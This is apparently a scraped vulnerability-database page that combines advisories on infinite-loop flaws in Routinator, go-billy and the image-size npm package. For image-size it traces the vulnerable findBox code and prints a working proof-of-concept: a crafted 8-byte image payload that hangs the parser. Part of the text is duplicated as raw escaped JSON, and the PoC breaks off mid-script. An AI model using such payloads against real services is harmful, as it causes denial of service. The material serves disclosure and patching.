Summary
Routinator infinite loop vulnerability
Details

NLnet Labs Routinator prior to 0.10.2 happily processes a chain of RRDP repositories of infinite length causing it to never finish a validation run. In RPKI, a CA can choose the RRDP repository it wishes to publish its data in. By continuously generating a new child CA that only consists of another CA using a different RRDP repository, a malicious CA can create a chain of CAs of de-facto infinite length. Routinator prior to version 0.10.2 did not contain a limit on the length of such a chain and will therefore continue to process this chain forever. As a result, the validation run will never finish, leading to Routinator continuing to serve the old data set or, if in the initial validation run directly after starting, never serve any data at all.

Severity

GHSA-M3XC-H892-GGX6

Vulnerability from github – Published: 2026-05-13 15:29 – Updated: 2026-06-09 10:50
VLAI
Summary
go-billy: Lack of depth and cycle detection in symlink resolution may lead to infinite loops and resource exhaustion
Details

Impact

Multiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption.

These issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.

Credits

Vulnerability from github – Published: 2025-04-02 15:04 – Updated: 2026-06-10 17:13

Summary
image-size Denial of Service via Infinite Loop during Image Processing
Details

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers: - https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts - https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts

Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =\u003e\n  input[offset] * 2 ** 24 +     // 0 +\n  input[offset + 1] * 2 ** 16 + // 0 +\n  input[offset + 2] * 2 ** 8 +  // 0 +\n  input[offset + 3]             // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) {   // offset: 0\n  if (input.length - offset \u003c 4) return\n  const boxSize = readUInt32BE(input, offset)           // 0\n  if (input.length - offset \u003c boxSize) return           // (8 - 0) \u003c 0 =\u003e false\n  return {\n    name: toUTF8String(input, 4 + offset, 8 + offset),  // \u0027JXL \u0027\n    offset,                                             // 0\n    size: boxSize,                                      // 0\n  }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: \u0027ftyp\u0027, offset: 0\n  while (offset \u003c input.length) {         // 0 \u003c 8 =\u003e false\n    const box = readBox(input, offset)    // { name: \u0027JXL \u0027, offset: 0, size: 0 }\n    if (!box) break                       // false\n    if (box.name === boxName) return box  // \u0027JXL \u0027 === \u0027ftyp\u0027 =\u003e false\n    offset += box.size                    // offset += 0\n  }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require(\u0027fs\u0027);\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n  0x00, 0x00, 0x00, 0x00, // Box with size 0\n  0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n//   0x61, 0x76, 0x69, 0x66  // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n//   0x00, 0x00, 0x00, 0x00, // Box with size 0\n//   0x6A, 0x50, 0x20, 0x20, // \"jP  \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n  fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n  (async () =\u003e {\n    await imageSizeFromFile(FILENAME)\n    console.log(\u0027Done\u0027) // never executed\n  })();\n}\n\nfunction poc2() {\n  imageSize(PAYLOAD)\n  console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1);
